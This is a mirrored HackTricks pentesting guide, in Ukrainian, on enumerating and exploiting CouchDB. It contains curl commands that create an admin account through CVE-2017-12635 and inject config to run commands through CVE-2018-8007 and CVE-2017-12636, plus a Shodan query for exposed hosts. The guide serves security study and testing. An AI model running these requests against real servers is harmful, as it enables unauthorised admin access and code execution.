mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 12:43:23 +00:00
247 lines
24 KiB
Markdown
247 lines
24 KiB
Markdown
# 5984,6984 - Pentesting CouchDB
|
||
|
||
{% hint style="success" %}
|
||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Support HackTricks</summary>
|
||
|
||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|
||
{% endhint %}
|
||
|
||
## **Основна інформація**
|
||
|
||
**CouchDB** - це універсальна та потужна **документно-орієнтована база даних**, яка організовує дані, використовуючи структуру **ключ-значення** в кожному **документі**. Поля в документі можуть бути представлені як **пари ключ/значення, списки або мапи**, що забезпечує гнучкість у зберіганні та отриманні даних.
|
||
|
||
Кожному **документу**, збереженому в CouchDB, присвоюється **унікальний ідентифікатор** (`_id`) на рівні документа. Крім того, кожна зміна, внесена та збережена в базі даних, отримує **номер версії** (`_rev`). Цей номер версії дозволяє ефективно **відстежувати та керувати змінами**, полегшуючи легке отримання та синхронізацію даних у базі даних.
|
||
|
||
**Порт за замовчуванням:** 5984(http), 6984(https)
|
||
```
|
||
PORT STATE SERVICE REASON
|
||
5984/tcp open unknown syn-ack
|
||
```
|
||
## **Автоматичне перерахування**
|
||
```bash
|
||
nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
|
||
msf> use auxiliary/scanner/couchdb/couchdb_enum
|
||
```
|
||
## Ручна енумерація
|
||
|
||
### Банер
|
||
```
|
||
curl http://IP:5984/
|
||
```
|
||
Це надсилає GET-запит до встановленої CouchDB інстанції. Відповідь повинна виглядати приблизно так, як одна з наступних:
|
||
```bash
|
||
{"couchdb":"Welcome","version":"0.10.1"}
|
||
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
|
||
```
|
||
{% hint style="info" %}
|
||
Зверніть увагу, що якщо при доступі до кореня couchdb ви отримуєте `401 Unauthorized` з чимось на зразок цього: `{"error":"unauthorized","reason":"Authentication required."}` **ви не зможете отримати доступ** до банера або будь-якої іншої кінцевої точки.
|
||
{% endhint %}
|
||
|
||
### Info Enumeration
|
||
|
||
Це кінцеві точки, до яких ви можете отримати доступ за допомогою **GET** запиту та витягти деяку цікаву інформацію. Ви можете знайти [**більше кінцевих точок та більш детальні описи в документації couchdb**](https://docs.couchdb.org/en/latest/api/index.html).
|
||
|
||
* **`/_active_tasks`** Список запущених завдань, включаючи тип завдання, назву, статус та ідентифікатор процесу.
|
||
* **`/_all_dbs`** Повертає список усіх баз даних у екземплярі CouchDB.
|
||
* **`/_cluster_setup`** Повертає статус вузла або кластера, відповідно до майстра налаштування кластера.
|
||
* **`/_db_updates`** Повертає список усіх подій бази даних у екземплярі CouchDB. Існування бази даних `_global_changes` є обов'язковим для використання цієї кінцевої точки.
|
||
* **`/_membership`** Відображає вузли, які є частиною кластера, як `cluster_nodes`. Поле `all_nodes` відображає всі вузли, про які знає цей вузол, включаючи ті, що є частиною кластера.
|
||
* **`/_scheduler/jobs`** Список завдань реплікації. Опис кожного завдання включатиме інформацію про джерело та ціль, ідентифікатор реплікації, історію останніх подій та кілька інших речей.
|
||
* **`/_scheduler/docs`** Список станів документів реплікації. Включає інформацію про всі документи, навіть у станах `completed` та `failed`. Для кожного документа повертає ідентифікатор документа, базу даних, ідентифікатор реплікації, джерело та ціль, а також іншу інформацію.
|
||
* **`/_scheduler/docs/{replicator_db}`**
|
||
* **`/_scheduler/docs/{replicator_db}/{docid}`**
|
||
* **`/_node/{node-name}`** Кінцева точка `/_node/{node-name}` може бути використана для підтвердження імені вузла Erlang сервера, який обробляє запит. Це найбільш корисно при доступі до `/_node/_local`, щоб отримати цю інформацію.
|
||
* **`/_node/{node-name}/_stats`** Ресурс `_stats` повертає об'єкт JSON, що містить статистику для запущеного сервера. Літеральний рядок `_local` служить псевдонімом для імені локального вузла, тому для всіх URL статистики `{node-name}` може бути замінено на `_local`, щоб взаємодіяти зі статистикою локального вузла.
|
||
* **`/_node/{node-name}/_system`** Ресурс \_system повертає об'єкт JSON, що містить різну статистику на рівні системи для запущеного сервера\_.\_ Ви можете використовувати \_\_`_local` як {node-name}, щоб отримати інформацію про поточний вузол.
|
||
* **`/_node/{node-name}/_restart`**
|
||
* **`/_up`** Підтверджує, що сервер працює, запущений і готовий відповідати на запити. Якщо [`maintenance_mode`](https://docs.couchdb.org/en/latest/config/couchdb.html#couchdb/maintenance\_mode) є `true` або `nolb`, кінцева точка поверне відповідь 404.
|
||
* **`/_uuids`** Запитує один або кілька універсально унікальних ідентифікаторів (UUID) з екземпляра CouchDB.
|
||
* **`/_reshard`** Повертає кількість завершених, невдалих, запущених, зупинених та загальних завдань разом зі станом перерозподілу на кластері.
|
||
|
||
Більш цікаву інформацію можна витягти, як пояснено тут: [https://lzone.de/cheat-sheet/CouchDB](https://lzone.de/cheat-sheet/CouchDB)
|
||
|
||
### **Database List**
|
||
```
|
||
curl -X GET http://IP:5984/_all_dbs
|
||
```
|
||
Якщо цей запит **відповідає з 401 неавторизовано**, тоді вам потрібні **дійсні облікові дані** для доступу до бази даних:
|
||
```
|
||
curl -X GET http://user:password@IP:5984/_all_dbs
|
||
```
|
||
Щоб знайти дійсні облікові дані, ви могли б **спробувати** [**зламати сервіс**](../generic-methodologies-and-resources/brute-force.md#couchdb).
|
||
|
||
Це **приклад** відповіді couchdb, коли у вас є **достатньо привілеїв** для переліку баз даних (Це просто список баз даних):
|
||
```bash
|
||
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]
|
||
```
|
||
### Database Info
|
||
|
||
Ви можете отримати деяку інформацію про базу даних (таку як кількість файлів та їх розміри), отримавши доступ до назви бази даних:
|
||
```bash
|
||
curl http://IP:5984/<database>
|
||
curl http://localhost:5984/simpsons
|
||
#Example response:
|
||
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}
|
||
```
|
||
### **Список документів**
|
||
|
||
Перерахуйте кожен запис у базі даних
|
||
```bash
|
||
curl -X GET http://IP:5984/{dbname}/_all_docs
|
||
curl http://localhost:5984/simpsons/_all_docs
|
||
#Example response:
|
||
{"total_rows":7,"offset":0,"rows":[
|
||
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
|
||
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
|
||
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
|
||
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
|
||
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
|
||
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
|
||
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
|
||
]}
|
||
```
|
||
### **Прочитати документ**
|
||
|
||
Прочитайте вміст документа всередині бази даних:
|
||
```bash
|
||
curl -X GET http://IP:5984/{dbname}/{id}
|
||
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
|
||
#Example response:
|
||
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}
|
||
```
|
||
## CouchDB Привілейоване Підвищення [CVE-2017-12635](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-12635)
|
||
|
||
Завдяки відмінностям між парсерами JSON Erlang та JavaScript ви можете **створити адміністратора** з обліковими даними `hacktricks:hacktricks` за допомогою наступного запиту:
|
||
```bash
|
||
curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"
|
||
```
|
||
[**Більше інформації про цю вразливість тут**](https://justi.cz/security/2017/11/14/couchdb-rce-npm.html).
|
||
|
||
## CouchDB RCE
|
||
|
||
### **Огляд безпеки Erlang Cookie**
|
||
|
||
Приклад [звідси](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
|
||
|
||
У документації CouchDB, зокрема в розділі, що стосується налаштування кластеру ([посилання](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup)), обговорюється використання портів CouchDB в режимі кластеру. Зазначається, що, як і в автономному режимі, використовується порт `5984`. Крім того, порт `5986` призначений для локальних API вузлів, а важливо, що Erlang вимагає TCP порт `4369` для демона відображення портів Erlang (EPMD), що полегшує зв'язок між вузлами в кластері Erlang. Це налаштування формує мережу, де кожен вузол пов'язаний з усіма іншими вузлами.
|
||
|
||
Особливу увагу слід звернути на безпеку порту `4369`. Якщо цей порт стає доступним через Інтернет або будь-яку ненадійну мережу, безпека системи сильно залежить від унікального ідентифікатора, відомого як "cookie". Цей cookie діє як засіб захисту. Наприклад, у даному списку процесів може бути спостережено cookie з назвою "monster", що вказує на його операційну роль у системі безпеки.
|
||
```
|
||
www-data@canape:/$ ps aux | grep couchdb
|
||
root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb
|
||
root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb
|
||
homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b
|
||
```
|
||
Для тих, хто зацікавлений у розумінні того, як цей "cookie" може бути використаний для віддаленого виконання коду (RCE) в контексті систем Erlang, доступний спеціальний розділ для подальшого читання. Він детально описує методології використання cookie Erlang несанкціонованими способами для досягнення контролю над системами. Ви можете **[дослідити детальний посібник з зловживання cookie Erlang для RCE тут](4369-pentesting-erlang-port-mapper-daemon-epmd.md#erlang-cookie-rce)**.
|
||
|
||
### **Експлуатація CVE-2018-8007 через модифікацію local.ini**
|
||
|
||
Приклад [звідси](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
|
||
|
||
Недавно розкрита вразливість, CVE-2018-8007, що впливає на Apache CouchDB, була досліджена, виявивши, що для експлуатації потрібні права на запис до файлу `local.ini`. Хоча це не було безпосередньо застосовно до початкової цільової системи через обмеження безпеки, були внесені зміни, щоб надати доступ на запис до файлу `local.ini` для цілей дослідження. Нижче наведені детальні кроки та приклади коду, що демонструють процес.
|
||
|
||
Спочатку середовище готується, забезпечуючи, щоб файл `local.ini` був записуваним, що перевіряється шляхом переліку прав:
|
||
```bash
|
||
root@canape:/home/homer/etc# ls -l
|
||
-r--r--r-- 1 homer homer 18477 Jan 20 2018 default.ini
|
||
-rw-rw-rw- 1 homer homer 4841 Sep 14 17:39 local.ini
|
||
-r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk
|
||
-r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args
|
||
```
|
||
Щоб експлуатувати вразливість, виконується команда curl, націлена на конфігурацію `cors/origins` у `local.ini`. Це інжектує новий походження разом з додатковими командами в секцію `[os_daemons]`, з метою виконання довільного коду:
|
||
```bash
|
||
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"
|
||
```
|
||
Подальша перевірка показує ін'єковану конфігурацію в `local.ini`, контрастуючи її з резервною копією, щоб підкреслити зміни:
|
||
```bash
|
||
root@canape:/home/homer/etc# diff local.ini local.ini.bk
|
||
119,124d118
|
||
< [cors]
|
||
< origins = 0xdf
|
||
< [os_daemons]
|
||
< test_daemon = /usr/bin/touch /tmp/0xdf
|
||
```
|
||
Спочатку очікуваний файл (`/tmp/0xdf`) не існує, що вказує на те, що ін'єкована команда ще не була виконана. Подальше розслідування виявляє, що запущені процеси, пов'язані з CouchDB, включаючи один, який потенційно може виконати ін'єковану команду:
|
||
```bash
|
||
root@canape:/home/homer/bin# ps aux | grep couch
|
||
```
|
||
Завершивши виявлений процес CouchDB і дозволивши системі автоматично перезапустити його, виконується ін'єкована команда, що підтверджується наявністю раніше відсутнього файлу:
|
||
```bash
|
||
root@canape:/home/homer/etc# kill 711
|
||
root@canape:/home/homer/etc# ls /tmp/0xdf
|
||
/tmp/0xdf
|
||
```
|
||
Це дослідження підтверджує життєздатність експлуатації CVE-2018-8007 за певних умов, зокрема вимогу наявності прав на запис до файлу `local.ini`. Наведені приклади коду та процедурні кроки пропонують чіткий посібник для відтворення експлуатації в контрольованому середовищі.
|
||
|
||
Для отримання додаткової інформації про CVE-2018-8007, зверніться до рекомендацій mdsec: [CVE-2018-8007](https://www.mdsec.co.uk/2018/08/advisory-cve-2018-8007-apache-couchdb-remote-code-execution/).
|
||
|
||
### **Дослідження CVE-2017-12636 з правами на запис у local.ini**
|
||
|
||
Приклад [звідси](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
|
||
|
||
Вразливість, відома як CVE-2017-12636, була досліджена, що дозволяє виконання коду через процес CouchDB, хоча певні конфігурації можуть перешкоджати її експлуатації. Незважаючи на численні посилання на Proof of Concept (POC), доступні в Інтернеті, необхідні коригування для експлуатації вразливості на версії CouchDB 2, яка відрізняється від зазвичай націленої версії 1.x. Початкові кроки включають перевірку версії CouchDB та підтвердження відсутності очікуваного шляху серверів запитів:
|
||
```bash
|
||
curl http://localhost:5984
|
||
curl http://0xdf:df@localhost:5984/_config/query_servers/
|
||
```
|
||
Щоб підтримати версію CouchDB 2.0, використовується новий шлях:
|
||
```bash
|
||
curl 'http://0xdf:df@localhost:5984/_membership'
|
||
curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers
|
||
```
|
||
Спроби додати та викликати новий сервер запитів зустрілися з помилками, пов'язаними з дозволами, про що свідчить наступний вихід:
|
||
```bash
|
||
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
|
||
```
|
||
Подальше розслідування виявило проблеми з дозволами на файл `local.ini`, який не можна було змінити. Змінивши дозволи файлу з доступом root або homer, стало можливим продовжити:
|
||
```bash
|
||
cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
|
||
chmod 666 /home/homer/etc/local.ini
|
||
```
|
||
Наступні спроби додати сервер запитів були успішними, про що свідчить відсутність повідомлень про помилки у відповіді. Успішна модифікація файлу `local.ini` була підтверджена через порівняння файлів:
|
||
```bash
|
||
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
|
||
```
|
||
Процес продовжився створенням бази даних та документа, після чого була спроба виконати код через користувацьке відображення, що відображає новостворений сервер запитів:
|
||
```bash
|
||
curl -X PUT 'http://0xdf:df@localhost:5984/df'
|
||
curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
|
||
curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}'
|
||
```
|
||
A **[резюме](https://github.com/carlospolop/hacktricks/pull/116/commits/e505cc2b557610ef5cce09df6a14b10caf8f75a0)** з альтернативним payload надає додаткові відомості про експлуатацію CVE-2017-12636 за певних умов. **Корисні ресурси** для експлуатації цієї вразливості включають:
|
||
|
||
- [POC exploit code](https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py)
|
||
- [Exploit Database entry](https://www.exploit-db.com/exploits/44913/)
|
||
|
||
## Shodan
|
||
|
||
* `port:5984 couchdb`
|
||
|
||
## References
|
||
|
||
* [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
|
||
* [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)
|
||
|
||
{% hint style="success" %}
|
||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Support HackTricks</summary>
|
||
|
||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|
||
{% endhint %}
|